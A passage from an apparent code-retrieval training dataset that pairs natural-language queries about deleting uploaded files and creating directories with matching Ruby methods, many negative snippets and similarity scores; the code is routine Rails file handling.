"def photo__after_update_trigger\r\n\r\nDir[File.join(FILES_DEST_PHOTO__THUMBS, \"#{self.id}_*\")].each{|f| File.delete(f); break} #will be regenerated\r\nif !@photo_cache.blank? && !@photo_cache[:tmp].blank?\r\n @photo_cache[:path] = File.join(FILES_DEST_PHOTO, 'cache', @photo_cache[:tmp])\r\nend\r\nif !@photo_cache.blank? && @photo_cache[:path] && File.exist?(@photo_cache[:path])\r\n Dir[File.join(FILES_DEST_PHOTO, \"#{self.id}_*\")].each{|f| File.delete(f); break}\r\n dest = File.join(FILES_DEST_PHOTO, \"#{self.id}_#{self.photo__name}\")\r\n logger.debug(\"=== CACHE [#{@photo_cache[:path].inspect}] DEST [#{dest.inspect}]\")\r\n FileUtils.mv(@photo_cache[:path], File.join(FILES_DEST_PHOTO, \"#{self.id}_#{self.photo__name}\"))\r\nelse\r\n src = self.photo__path\r\n if !File.exists?(src) # bad name\r\n Dir[File.join(FILES_DEST_PHOTO, \"#{self.id}_*\")].each{|f| File.rename(f, src); break}\r\n end\r\nend\r\n@photo_cache = {}\r\nend"
] | [
"0.64164037",
"0.6395799",
"0.63228154",
"0.6070498",
"0.59627134",
"0.5951",
"0.584486",
"0.5843303",
"0.58145225",
"0.57840216",
"0.5773075",
"0.57341856",
"0.5700501",
"0.5687526",
"0.5684828",
"0.565464",
"0.5646318",
"0.5643698",
"0.5638444",
"0.56376165",
"0.5627437",
"0.5605478",
"0.55479336",
"0.5524169",
"0.5504155",
"0.5445487",
"0.5442392",
"0.5396089",
"0.53880394",
"0.53867984",
"0.5375873",
"0.53634596",
"0.5355186",
"0.533285",
"0.53297967",
"0.5319725",
"0.531743",
"0.5308965",
"0.530696",
"0.52833194",
"0.5265195",
"0.52524304",
"0.5202836",
"0.51901567",
"0.5186047",
"0.51804525",
"0.5172428",
"0.5172428",
"0.5170366",
"0.51683575",
"0.5166368",
"0.51642704",
"0.51481855",
"0.51481855",
"0.5142815",
"0.5137478",
"0.51357985",
"0.5126906",
"0.5120032",
"0.51157904",
"0.5111426",
"0.50682133",
"0.50682133",
"0.5067199",
"0.5066585",
"0.50652546",
"0.506491",
"0.5064197",
"0.50562763",
"0.5053462",
"0.50430626",
"0.50430626",
"0.50227726",
"0.50111187",
"0.5001584",
"0.499269",
"0.4987027",
"0.49868667",
"0.498674",
"0.4972585",
"0.4953087",
"0.49515444",
"0.49440214",
"0.49401549",
"0.49397212",
"0.49388954",
"0.49375582",
"0.493729",
"0.49326363",
"0.49293652",
"0.4921918",
"0.49177268",
"0.49176595",
"0.4916366",
"0.491265",
"0.49113113",
"0.4910478",
"0.49057335",
"0.48982427",
"0.48958862"
] | 0.66050786 | 0 |
Removes the uploaded file from the filesystem when the record is destroyed. | def delete_uploaded_file
return unless file_exists?
File.delete(full_path)
remove_empty_directory
@saved_full_path = nil
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def destroy\n file&.delete\n end",
"def remove!\n with_callbacks(:remove) do\n delete_file\n @file = nil\n @cache_id = nil\n end\n end",
"def remove_storage_file\n FileUtils.rm(file_path)\n end",
"def destroy_file\n File.delete full_file_path\n rescue\n end",
"def destroy_file\n object = self.class.bucket.objects.find(full_filename)\n object.destroy\n end",
"def destroy_file\n FileUtils.rm(full_filename) if File.exists?(full_filename)\n end",
"def destroy\n File.unlink(@resource[:path])\n Puppet.debug \"deleted file #{@resource[:path]}\"\n end",
"def remove(uploaded_file, context)\n uploaded_file.delete\n end",
"def destroy_file\n db_file.destroy if db_file\n end",
"def del\n File.delete(@file)\n end",
"def delete\n @file = nil\n # file.delete\n end",
"def destroy\n @uploaded_document.destroy\n end",
"def delete!\n safe_close\n File.delete(@file_path)\n end",
"def destroy_file\n Qiniu::RS.delete(qiniu_config[:bucket_name], full_filename)\n end",
"def _delete(uploaded_file, context)\n remove(uploaded_file, context)\n end",
"def remove_file!\n begin\n super\n rescue Fog::Storage::Rackspace::NotFound\n self.file = nil\n self.send(:write_attribute, :file, nil)\n end\n end",
"def remove_uploaded_file\n remove_image!\n end",
"def destroy\n Rails.logger.debug {\"destroying gridfs file #{@id}\"}\n if persisted?\n Photo.mongo_client.database.fs.find(:_id=>BSON::ObjectId.from_string(@id)).delete_one\n end\n end",
"def delete_file\n File.unlink file\n end",
"def delete_file\n File.unlink file\n end",
"def destroy_file\n FileUtils.rm full_filename\n # remove directory also if it is now empty\n Dir.rmdir(File.dirname(full_filename)) if (Dir.entries(File.dirname(full_filename))-['.','..']).empty?\n rescue\n logger.info \"Exception destroying #{full_filename.inspect}: [#{$!.class.name}] #{$1.to_s}\"\n logger.warn $!.backtrace.collect { |b| \" > #{b}\" }.join(\"\\n\")\n end",
"def remove_file\n return unless file_exists?\n\n s3_object(false).delete\n rescue => e\n Rails.logger.error \"Unable to delete file #{self.filename}: #{e.message}\"\n end",
"def destroy!\r\n self.class.service_instance.delete_blob(path)\r\n end",
"def cleanup\n FileUtils.rm_f(@path)\n delete\n end",
"def delete\n ::File.unlink(@path)\n end",
"def destroy\n @attachment.file.purge\n @attachment.destroy\n respond_to do |format|\n format.html { redirect_to lines_url, notice: 'Attachment was successfully destroyed.' }\n end\n end",
"def drop\n File.unlink @file if File.exist?(@file)\n self\n end",
"def destroy\n remove_files(@path + \"*\")\n end",
"def delete(uploaded_file, context = {})\n _delete(uploaded_file, context)\n uploaded_file\n end",
"def destroy\n @upload = @upload = Upload.find_by(id: params[:id], user_id: current_or_guest_user.id)\n @file = ActiveStorage::Attachment.find(params[:file])\n @file&.purge\n @upload.destroy unless @upload.files.present?\n flash[:success] = 'File Deleted Successful!'\n redirect_to root_path\n rescue StandardError => error\n flash[:danger] = 'File Does Not Exist!'\n flash[:error] = error.message\n redirect_to root_path\n end",
"def remove file\n file.delete\n @files -= [file]\n end",
"def delete_file\n begin\n File.delete(stored_file_path)\n rescue => e\n logger.error(\"Could not delete #{stored_file_path}. Ignored.\")\n logger.error(e)\n end\n end",
"def destroy!\n FileUtils.rm_rf(self.path)\n end",
"def destroy\n File.delete(temp_path)\n end",
"def delete\n Modeles::File.delete @fileInTable.id\n @errors = nil\n @fileInTable = nil\n @path = nil\n @user = nil\n @group = nil\n @userRights = nil\n @groupRights = nil\n @othersRights = nil\n end",
"def remove!\n FileUtils.rm(File.join(remote_path, remote_file))\n end",
"def destroy\n\t\tFile.delete @filepath\n\t\t@data_base = nil\n\t\t@data_base.freeze\n\t\tself.freeze\n\tend",
"def smart_destroy!\n # see if it's on the file system and destroy it if it's there\n s3_key = calc_s3_path\n Stash::Aws::S3.delete_file(s3_key: s3_key) if !s3_key.blank? && Stash::Aws::S3.exists?(s3_key: s3_key)\n\n if in_previous_version?\n # destroy any others of this filename in this resource\n self.class.where(resource_id: resource_id, upload_file_name: upload_file_name).where('id <> ?', id).destroy_all\n # and mark to remove from merritt\n update(file_state: 'deleted')\n else\n # remove all of this filename for this resource from the database\n self.class.where(resource_id: resource_id, upload_file_name: upload_file_name).destroy_all\n end\n\n resource.reload\n end",
"def delete_file\n @file = []\n end",
"def delete_file storage_file_path\n @bucket.file(storage_file_path).delete if @bucket.file storage_file_path\n end",
"def delete_file storage_file_path\n @bucket.file(storage_file_path).delete if @bucket.file storage_file_path\n end",
"def deleteUploadFile\n\n filepath = Rails.root.join(path, file_name)\n\n if File.exist? filepath \n File.delete filepath\n end\n\n end",
"def destroy\n @file = UserUpload.find(params[:id])\n if @file\n \[email protected]\n end\n # Render nothing to denote success\n render :text => \"\" and return\n end",
"def delete\n FileUtils.rm(self.path) if exists?\n end",
"def delete_file(file)\n delete_attachment(file)\n end",
"def destroy\n @uploaded_file.destroy\n respond_to do |format|\n format.html { redirect_to root_path, notice: 'Uploaded file was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def delete_uploaded_file(new_file)\n if version_name.blank? && Refinery::PhotoGallery.delete_uploaded_file\n filename_to_delete = File.join(Rails.root.to_s,Refinery::PhotoGallery.photo_gallery_dir_relative_to_root, store_dir, filename )\n File.delete(filename_to_delete)\n end\n end",
"def rm_file(file)\n @files.delete(file.path)\n end",
"def rm_file(file)\n @files.delete(file.path)\n end",
"def destroy\n \n @user_file = UserFile.find(params[:id])\n authorize! :destroy, @user_file\n name=@user_file.uploaded_file_file_name\n @user_file.destroy\n\n respond_to do |format|\n format.html { redirect_to :back,:notice=>\"Deleted file: \"+name }\n format.json { head :ok }\n end\n end",
"def delete!(uploaded_file, phase:)\n store.delete(uploaded_file, context.merge(phase: phase))\n end",
"def unlink\n self.class.unlink(@path)\n end",
"def destroy\n @userfile.destroy\n\n fileName = Rails.root.join('public','uploads', @userfile.file_name_slug)\n File.delete(fileName) if File.exist?(fileName)\n\n respond_to do |format|\n format.html { redirect_to user_mycontact_meeting_userfiles_path }\n format.json { head :no_content }\n end\n end",
"def delete_file(uid, info = {})\n if info[\"multipart_id\"]\n multipart_upload = object(uid).multipart_upload(info[\"multipart_id\"])\n abort_multipart_upload(multipart_upload)\n\n delete [object(\"#{uid}.info\")]\n else\n delete [object(uid), object(\"#{uid}.info\")]\n end\n end",
"def destroy\n @file_record.destroy\n respond_to do |format|\n format.html { redirect_to file_records_url, notice: 'File record was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @file_version.destroy\n head :no_content\n end",
"def destroy\n @[email protected]_uploads.find(params[:id])\n @file_upload.destroy\n respond_to do |format|\n format.html { redirect_to user_file_uploads_path, notice: 'File was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n run_callbacks :destroy do\n if directory?\n logger.info \"Delete directory at #{absolute_path}\"\n FileUtils.rmdir absolute_path\n else\n logger.info \"Delete file at #{absolute_path}\"\n # TODO if the file has added state (not committed), reset it to HEAD\n if status_file.untracked\n FileUtils.rm absolute_path\n else\n remove\n end\n end\n true\n end\n end",
"def unlink_tempfile\n File.unlink(@tempfile.path)\n @tempfile = nil\n end",
"def destroy\n @file_record.destroy\n respond_to do |format|\n format.html { redirect_to file_records_url, notice: \"File record was successfully destroyed.\" }\n format.json { head :no_content }\n end\n end",
"def destroy\n File.delete(self.artifact)\n end",
"def delete\n @lock.synchronize do\n ::File.unlink(@tmpfile) if ::File.exist?(@tmpfile)\n end\n end",
"def clean_local_file\n File.delete(@file_path) if File.exist? @file_path\n end",
"def delete_file(no_raise: true)\n __debug_items(binding)\n return if destroyed? || attached_file.nil?\n file_attacher.destroy\n file_attacher.set(nil)\n rescue => error\n log_exception(error, __method__)\n re_raise_if_internal_exception(error)\n raise error unless no_raise\n end",
"def cleanup\n File.delete(temp_file_path)\n end",
"def remove_file\n\n @source_files_id = params[:source] + '_files'\n @source = TaliaCore::Source.find(N::URI.from_encoded(params[:source]))\n\n TaliaFile.find(params[:talia_file_uri]).destroy\n end",
"def destroy\n File.delete(get_file_path(@stocked_file))\n @stocked_file.destroy\n respond_to do |format|\n format.html { redirect_to stocked_files_url, notice: 'Stocked file was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy(v_asset)\n File.delete(v_asset.path)\n end",
"def destroy\n authorize! :destroy, @master_file, message: \"You do not have sufficient privileges to delete files\"\n filename = File.basename(@master_file.file_location) if @master_file.file_location.present?\n filename ||= @master_file.id\n media_object = MediaObject.find(@master_file.media_object_id)\n media_object.ordered_master_files.delete(@master_file)\n media_object.master_files.delete(@master_file)\n media_object.save\n @master_file.destroy\n flash[:notice] = \"#{filename} has been deleted from the system\"\n redirect_to edit_media_object_path(media_object, step: \"file-upload\")\n end",
"def remove!\n begin\n connection.sync_clock\n connection.delete_object(bucket, File.join(remote_path, remote_file))\n rescue Excon::Errors::SocketError; end\n end",
"def cleanup(uploaded_file, file_path)\n File.delete(file_path) if uploaded_file.is_file_upload\n\n # clean up old uploads\n cutoff = Time.now - 1.hour\n lst = UploadedFile.where(status: 'I').all\n lst.each do |u|\n u.update_attribute(:status, 'F') if u.updated_at < cutoff\n end\n end",
"def destroy(file=@file)\n if self.legacy?\n return unless @password.send(:rm_file, self) \n end\n super\n end",
"def remove_local_file(file, user)\n logger.debug(\"removing local file #{file.uid} by user #{user.dxuser}\")\n UserFile.transaction do\n # Use find_by(file.id) since file.reload may raise ActiveRecord::RecordNotFound\n file = UserFile.find_by(id: file.id)\n return unless file\n\n Event::FileDeleted.create_for(file, user)\n file.destroy!\n end\n end",
"def destroy\n @upload_file = UploadFile.find(params[:id])\n\t\tauthorize! :destroy, @upload_file\n @upload_file.destroy\n\n respond_to do |format|\n format.html { redirect_to(upload_files_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @upload_file.destroy\n respond_to do |format|\n format.html { redirect_to upload_files_url, notice: 'Upload file was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @upload_file.destroy\n respond_to do |format|\n format.html { redirect_to upload_files_url, notice: 'Upload file was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy(path)\n directory = connection.directories.get(self.bucket)\n directory ||= connection.directories.create(self.permissions.merge(:key => self.bucket))\n\n file = directory.files.get(path)\n file.destroy if file\n end",
"def destroy\n @import_avatar.destroy\n end",
"def destroy_dirty_file!(file)\n system(\"trashtrash #{file}\")\n end",
"def erase(storage_path)\n super\n file = absolute_path(storage_path)\n FileUtils.rm file if File.exists?(file)\n\n dir = File.dirname(file)\n while File.expand_path(parent = File.dirname(dir)).size > File.expand_path(options[:absolute_base] || '.').size\n FileUtils.rm_rf(dir) if File.exists?(dir) && directory_empty?(dir)\n dir = parent\n end\n FileUtils.rm_rf(dir) if File.exists?(dir) && directory_empty?(dir)\n end",
"def destroy_upload_dir\n dir = File.expand_path \"../\", file.path\n FileUtils.rm_rf dir\n end",
"def destroy\n @uploaded_file = @page.uploaded_files.find(params[:id])\n return error_status(true, :cannot_delete_uploaded_file) unless (@uploaded_file.can_be_deleted_by(@logged_user))\n \n @slot_id = @uploaded_file.page_slot.id\n @uploaded_file.page_slot.destroy\n @uploaded_file.updated_by = @logged_user\n @uploaded_file.destroy\n\n respond_to do |format|\n format.html { redirect_to(uploaded_files_url) }\n format.js {}\n format.xml { head :ok }\n end\n end",
"def remove_photo_from_filesystem\n member_photo = nil\n end",
"def remove_created_file(file_path)\n if file_path && File.exists?(file_path)\n File.delete(file_path)\n end\nend",
"def cleanup\n @log.debug \"Deleting #{@out_file}.flv\"\n if File.exists?(\"#{@out_file}.flv\")\n File.delete(\"#{@out_file}.flv\")\n end\n end",
"def delete_session_file(file)\n File::delete(file[:filename]) if File::exist?(file[:filename])\n File::delete(file[:original_tmp_filename]) if file[:original_tmp_filename] && File::exists?(file[:original_tmp_filename])\n if session[:image_upload]\n for association_name in session[:image_upload].keys\n break if image_upload_session(association_name)[:uploaded_files].delete(file)\n end\n end\n end",
"def destroy\n @upload_file = UploadFile.find(params[:id])\n @upload_file.destroy\n\n respond_to do |format|\n format.html { redirect_to(upload_files_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n pid = @generic_file.noid\n @generic_file.delete\n begin\n Resque.enqueue(ContentDeleteEventJob, pid, current_user.user_key)\n rescue Redis::CannotConnectError\n logger.error \"Redis is down!\"\n end\n redirect_to sufia.dashboard_path, :notice => render_to_string(:partial=>'generic_files/asset_deleted_flash', :locals => { :generic_file => @generic_file })\n end",
"def delete_file(basepath = MP3_STORAGE_PATH)\n FileUtils.rm_rf(\"#{basepath}/#{id}\")\n end",
"def after_save\n if self.data_file_name.nil?\n self.destroy\n else\n\n end\n end",
"def delete!\n exist!\n File.unlink @path\n @path = nil\n end",
"def cleanup_tmp_file(file)\n\n image_path = \"./public/tmp/#{file}\"\n\n if File.exist?(image_path)\n File.delete(image_path)\n puts \"cleanup_tmp_file() - temp file deleted!\"\n else\n puts \"cleanup_tmp_file() - file does not exist!\"\n end\n\nend",
"def delete\n File.delete(file_name)\n rescue\n # ignore\n end",
"def purge\n ::FileUtils.rm(@fname)\n end",
"def destroy\n @file_upload = FileUpload.find(params[:id])\n @file_upload.destroy\n\n respond_to do |format|\n format.html { redirect_to(file_uploads_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n file_url = @image.url\n @image.destroy\n\n File.delete(\"public/uploads/#{file_url}\")\n\n respond_to do |format|\n format.html { redirect_to images_url, notice: 'Image was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @upload = Upload.find(params[:id])\n\tif File.exists?(Rails.root.join('..', 'uploads', @upload.file_name))\n\t\tFile.delete(Rails.root.join('..', 'uploads', @upload.file_name))\t\n\tend\n @upload.destroy\n\n respond_to do |format|\n format.html { redirect_to uploads_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @repo = Repository.find(params[:id])\n\n\t\t#REMOVE FILE FROM FILE SYSTEM AND DO A GIT commit\n\t\tif(FileUtils.rm(params[:path]))\n\t\t\t@git = GitHelper.init(@repo.path, current_user.email, current_user.name)\n\t\t\tGitHelper.commitAll(@git, \"Removed file :: #{params[:path]}\")\n\t\tend\n end",
"def remove_file(path)\n FileUtils.rm_f(path)\n end",
"def remove_file(path)\n FileUtils.rm_f(path)\n end"
] | [
"0.8280413",
"0.78890043",
"0.7848294",
"0.7796873",
"0.7754481",
"0.7726725",
"0.77135676",
"0.7681864",
"0.76635927",
"0.76607996",
"0.76587003",
"0.76528925",
"0.7627879",
"0.76008064",
"0.7595313",
"0.75708073",
"0.7497657",
"0.7457666",
"0.7372867",
"0.7372867",
"0.730675",
"0.72942317",
"0.7255344",
"0.7241172",
"0.7234033",
"0.72161067",
"0.7193593",
"0.71856236",
"0.71749574",
"0.7158678",
"0.7158395",
"0.7157771",
"0.7082956",
"0.7077255",
"0.70740247",
"0.70537615",
"0.705044",
"0.7048382",
"0.70428526",
"0.703103",
"0.703103",
"0.7030645",
"0.7018505",
"0.7014791",
"0.69850147",
"0.69701517",
"0.6966952",
"0.6962009",
"0.6960603",
"0.6947066",
"0.6934229",
"0.6894225",
"0.6889512",
"0.68859214",
"0.686337",
"0.6857064",
"0.68518347",
"0.6851759",
"0.6835771",
"0.6829925",
"0.6828131",
"0.68167436",
"0.6811524",
"0.6792963",
"0.6787671",
"0.6782682",
"0.6781925",
"0.6779369",
"0.6770681",
"0.67660415",
"0.6765132",
"0.6762968",
"0.6762776",
"0.6759497",
"0.6758337",
"0.6758337",
"0.674935",
"0.6748033",
"0.674049",
"0.67332053",
"0.67263377",
"0.6722739",
"0.67218715",
"0.67033756",
"0.6702782",
"0.67007613",
"0.66966",
"0.66904634",
"0.6688778",
"0.6686933",
"0.66772616",
"0.667598",
"0.6674418",
"0.6667264",
"0.66615564",
"0.6659941",
"0.6652908",
"0.66475105",
"0.6645503",
"0.6645503"
] | 0.7575204 | 15 |
Makes sure that the appropriate directory exists so the file can be saved into it. | def ensure_directory_exists
dir = File.dirname(full_path_from_current_attributes)
FileUtils.mkdir_p(dir) unless File.exists?(dir)
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def ensure_directory\n FileUtils.mkdir_p(to_s)\n self\n end",
"def ensure_meta_info_dir_exists!\n FileUtils.mkdir_p(RubyFileReader::Reader.meta_info_dir_pathname)\n end",
"def ensureDir(filename)\n dir = File::dirname(filename) ;\n system(\"mkdir -p #{dir}\") ;\n end",
"def ensure_dir( d )\n\n fu().mkdir_p( d ) unless File.exist?( d )\n d\nend",
"def make_sure_exists dir\n FileUtils.mkdir_p(dir) unless Dir.respond_to?(:exists?) && Dir.exists?(dir)\n end",
"def ensure_directory(path)\n FileUtils.mkdir_p(path) unless File.directory?(path)\n end",
"def ensure_exists\n create unless Dir.exist? path\n end",
"def ensure_store_directory\n FileUtils.mkpath( store ) unless File.directory?( store )\n end",
"def file_exists?\n\tdirectory_name = \"db/seed_files\"\n\tunless File.exist?(directory_name)\n\t\tputs \"Created folder 'db/seed_files'\"\n\t\tDir.mkdir(directory_name)\n\tend\nend",
"def create_file_and_folder\n begin\n Dir::mkdir(@directory)\n rescue Errno::EEXIST\n end\n FileUtils.touch \"#{@directory}/#{@store}.yml\"\n end",
"def write_to(path)\n if !File.exists?(path)\n FileUtils.mkdir_p(path)\n else\n raise FileExists.new(\"#{path} already exists\")\n end\nend",
"def check_dest_dir\n dir = File.dirname absolute_filename\n FileUtils.mkdir_p(dir) unless Dir.exist?(dir)\n end",
"def make_dir(path)\n FileUtils.mkdir_p( path )# unless File.exists?(path)\n end",
"def verify_file_path(file)\n FileUtils.mkdir_p(File.dirname(file)) unless File.exists?(File.dirname(file))\n end",
"def verify_file_path(file)\n FileUtils.mkdir_p(File.dirname(file)) unless File.exists?(File.dirname(file))\n end",
"def ensure_dir(dir_name)\n FileUtils::mkdir_p(dir_name)\n end",
"def make_directory\n FileUtils.mkdir_p output_directory unless File.exist? output_directory\n end",
"def ensure_directory(dir)\n FileUtils.mkdir_p(dir) unless File.directory?(dir)\n dir\n end",
"def ensure_dir(path)\n directory path do\n action :create\n recursive true\n end\nend",
"def ensure_filepath(file)\n ensure_directory(File.dirname(file))\n end",
"def create_folder_if_needed path; Dir.mkdir(path) unless File.exists?(path) end",
"def prepare_path\n log(\"prepare_path\")\n FileUtils.mkdir_p(path) unless Dir.exist?(path)\n rescue Exception => e\n log(\"prepare_path\", \"ERROR #{e}\")\n notify( \"reader.error\", { :error => \"prepare_path\" } )\n end",
"def assert_directory_exists!(path)\n dir = File.dirname(path)\n FileUtils.mkdir_p(dir) unless File.directory?(dir)\n end",
"def create_dir(dir)\n unless File.directory?(dir)\n FileUtils.mkdir_p(dir)\n end\nend",
"def create_dir(path)\n is_file = File.file?(path)\n is_dir = File.directory?(path)\n\n # Check for existing file/dir, and offer to overwrite\n if is_file || is_dir\n puts \"File #{path} already exists.\" if is_file\n puts \"Directory #{path} already exists.\" if is_dir\n\n if prompt(\"WARNING: Existing #{path} will be deleted. Continue?\")\n puts \"Removing existing #{path} ...\"\n FileUtils.rm_rf(path)\n else\n puts \"Please use another directory.\"\n Process.exit\n end\n end\n\n puts \"Creating directory #{path} ...\"\n FileUtils.mkdir_p(path)\n end",
"def create\n FileUtils.mkdir_p(directory) unless exist?\n end",
"def check_directory(directory)\n #Make sure directory exists, making it if needed.\n if not File.directory?(directory) then\n FileUtils.mkpath(directory) #logging and user notification.\n end\n directory\n end",
"def make_output_dir (src_path)\n delete_all_files(src_path) if directory_exists?(src_path) == true\n Dir.mkdir(src_path)\nend",
"def verify_writable_dir(dir)\n unless (File.directory?(dir) && File.writable?(dir)) ||\n FileUtils.mkdir_p(dir)\n raise IOError.new(\"Directory #{dir} must exist and be writable\")\n end\n end",
"def create\n FileUtils.mkdir_p path\n end",
"def prepare_target_dir\n begin\n FileUtils.mkdir(@output_dir)\n copy_default_files\n rescue Errno::EEXIST\n puts \"-- #{output_dir} already exists -- canceling initialization. \"\n return\n end\n end",
"def create_directory(file)\n end",
"def ensure_dirpath(dirpath)\n raise ArgumentError, '#ensure_paths_to_file requires dirpath' if nay? dirpath\n\n FileUtils.mkdir_p(dirpath)\n end",
"def cf(file)\n FileUtils.mkdir_p(Pathname.new(file).dirname)\n File.open(file, \"w+\").close\nend",
"def create_dir(path)\n FileUtils.mkdir_p(path, { mode: 0775 }) unless File.exists?(path)\n end",
"def make_dir(dir_path)\n FileUtils.mkdir_p(dir_path) unless File.directory?(dir_path)\n end",
"def criar_pasta(path)\n unless File.directory?(path)\n FileUtils.mkdir_p(path)\n end\nend",
"def ensure_data_folder\n return if File.directory? DATA_DIR\n Dir.mkdir DATA_DIR\nend",
"def ensureDir(dir)\n\tdir = File.expand_path(dir)\n\tif !File.directory? dir\n\t\tFileUtils::mkpath(dir)\n\tend\n\treturn dir\nend",
"def check_and_create_directory\n Dir.mkdir(\"#{@output_dir}\") unless File.directory?(\"#{@output_dir}\")\n Dir.mkdir(\"#{@output_dir}/#{@profile_name.downcase}\") unless File.directory?(\"#{@output_dir}/#{@profile_name.downcase}\")\n Dir.mkdir(\"#{@output_dir}/#{@profile_name.downcase}/modules\") unless File.directory?(\"#{@output_dir}/#{@profile_name.downcase}/modules\")\n end",
"def create_directories(path)\n FileUtils.mkdir_p(path) unless Dir.exists?(path)\nend",
"def make_directories!\n @sprites_path.mkpath unless @sprites_path.directory?\n @sources_path.mkpath unless @sources_path.directory?\n end",
"def checkDirectory(directory)\n #Make sure directory exists, making it if needed.\n if not File.directory?(directory) then\n FileUtils.mkpath(directory) #logging and user notification.\n end\n directory\n end",
"def make_my_dir (dirname, state)\n\n if Dir.exists?(dirname) && state == DIR_NEW\n puts \"ERROR-01: Directory already exists; name=<#{dirname}>\\n\"\n exit\n end\n\n if Dir.exists?(dirname)\n return\n else\n Dir.mkdir (dirname)\n if ! Dir.exists?(dirname)\n puts \"ERROR-02: Could not create directory; name=<#{dirname}>\\n\"\n exit\n end\n end\nend",
"def create_in_empty_directory?\n is_empty_directory?(@path)\n end",
"def create_dir(dirName)\r\n\tif !File.directory?(dirName)\r\n\t\tFileUtils.mkdir(dirName) #creates the /build directory\r\n\tend\r\nend",
"def create_dir(dirName)\r\n\tif !File.directory?(dirName)\r\n\t\tFileUtils.mkdir(dirName) #creates the /build directory\r\n\tend\r\nend",
"def create_directory\n return if File.directory?(DIRECTORY_PATH)\n\n FileUtils.mkdir_p(DIRECTORY_PATH)\n end",
"def createProdFolder(path) \n # Create book production folder\n @book_zip_generated_folder=path+\"book_prod_folder/\"\n if (File.exists?(@book_zip_generated_folder) && File.directory?(@book_zip_generated_folder))\n puts \"Book Production folder exists\"\n else\n Dir.mkdir(@book_zip_generated_folder)\n end\nend",
"def FileCheckCreateDirectory(dir)\n begin\n if Dir.directory?(dir)\n return FILEDIR_OK\n end\n Dir.mkdir(dir)\n rescue\n return FILEDIR_CANTCREATE\n end\n end",
"def saving_path\n path = home_path + '/.gitstagram'\n \n Dir.mkdir(path) unless Dir.exists?(path)\n path\n end",
"def create_directory(dir_name)\n Dir.mkdir(dir_name) unless File.exists?(dir_name)\nend",
"def initialize_directory(dir)\n Dir.mkdir(dir) unless Dir.exist?(dir)\n dir\nend",
"def ensure_file!(file)\n return if File.exists?(file)\n if VIM.evaluate(%{confirm(\"Create #{file}?\", \"&Yes\\n&No\", 1)}) == 1\n file_to_create = VIM.evaluate(%{input(\"File to create: \", \"#{file}\")})\n Pathname.new(file_to_create).dirname.mkpath\n File.open(file_to_create, \"w\") {}\n else\n raise RelatedError, \"File #{file} does not exist\"\n end\n end",
"def ensure_files!\n fatal! \"Cannot read from #{@stdin}\" unless File.readable? @stdin\n [@stdout, @stderr].each do |f|\n dir = File.dirname(f)\n safely do\n FileUtils.mkdir_p(dir) unless File.directory?(dir)\n open(f, 'w') {} unless File.exists?(f)\n end\n next if File.writable? f\n fatal! \"Cannot write to #{f}\"\n end\n end",
"def create_directory path\n unless File.exists?(path)\n FileUtils::mkdir_p path\n Puppet.notice \"Created directory #{path}\"\n end\n end",
"def directory_exists(directory)\n unless File.directory?(directory)\n Dir.mkdir directory\n end\nend",
"def ensure_config_exists\n FileUtils.mkdir(config_dir) unless Dir.exists?(config_dir)\n FileUtils.touch(config_file) unless File.exists?(config_file)\n end",
"def create_if_missing \n if File.exists?(@folder)\n return\n else\n Dir.mkdir(@folder) unless \n $LOG.info(\"#{@name} : #{@folder} created\")\n end\n end",
"def create_folder()\n\n directory_name = \"./public/swap/imageuploader\"\n Dir.mkdir(directory_name) unless File.exists?(directory_name)\n\nend",
"def mk_dir(path)\n FileUtils.mkdir_p(path) unless File.directory?(path)\n end",
"def create_database_dir_if_necessary\n dirname = File.dirname(self.database_path)\n if !Dir.exists?(dirname)\n FileUtils.mkpath(dirname)\n end\n end",
"def check_dest_dir\n FileUtils.mkdir_p(dest_dir) unless Dir.exist?(dest_dir)\n end",
"def makePath\n\t\t\tbuildMgr.effective(filename).dirname.mkpath\n\t\tend",
"def create_if_missing(path)\n FileUtils.mkdir(path) unless File.exists?(path)\n end",
"def create_if_missing(path)\n FileUtils.mkdir(path) unless File.exists?(path)\n end",
"def create_if_missing(path)\n FileUtils.mkdir(path) unless File.exists?(path)\n end",
"def ensure_dir(directory)\n if !File.exist?(directory)\n FileUtils.mkdir_p(directory, mode: DIR_MODES[directory])\n FileUtils.chown(@user, @group, directory)\n end\n end",
"def verify_existence_of_gforge_file_directory!\n FileUtils.mkdir_p group_file_directory unless File.exists? group_file_directory\n end",
"def create_directory!\n return if Dir.exist?(output_directory)\n\n FileUtils.mkdir_p(output_directory)\n end",
"def prepare\n FileUtils.rm_rf(output_dir)\n FileUtils.mkdir_p(output_dir)\n end",
"def prepare\n FileUtils.rm_rf(output_dir)\n FileUtils.mkdir_p(output_dir)\n end",
"def createFilePath(file)\n fd = File.dirname(file)\n Dir.mkdir(fd) if !File.exists?(fd)\n end",
"def create_in_current_directory?\n is_current_directory?(@path)\n end",
"def ensure_dir( *dirs )\n path = \"\"\n for current in dirs\n path = File.join path, current\n Dir::mkdir path if not File.directory? path\n end\nrescue Exception => e\n $logger.error \"Couldn't make directory. #{e}\"\nend",
"def initialize_output_directory()\n require 'fileutils'\n FileUtils.mkdir_p(OUTPUT_DIRECTORY)\n end",
"def make_output_directory\n puts \"Making output directory\"\n # Double check that we don't clobber an existing dir\n if File.exists? @output_dir\n puts \"\\nSORRY! '#{ @output_dir }' directory already exists. Please try again.\\n\\n\"\n exit\n end\n FileUtils.mkdir_p @output_dir\n end",
"def prepare\n FileUtils.mkdir_p(@base_dir)\n end",
"def mkdirs()\n if !File.exists?(\"data\")\n Dir.mkdir(\"data\")\n end \n if !File.exists?(CACHE_DIR)\n Dir.mkdir(CACHE_DIR)\n end\n if !File.exists?(RDF_DIR)\n Dir.mkdir(RDF_DIR)\n end\nend",
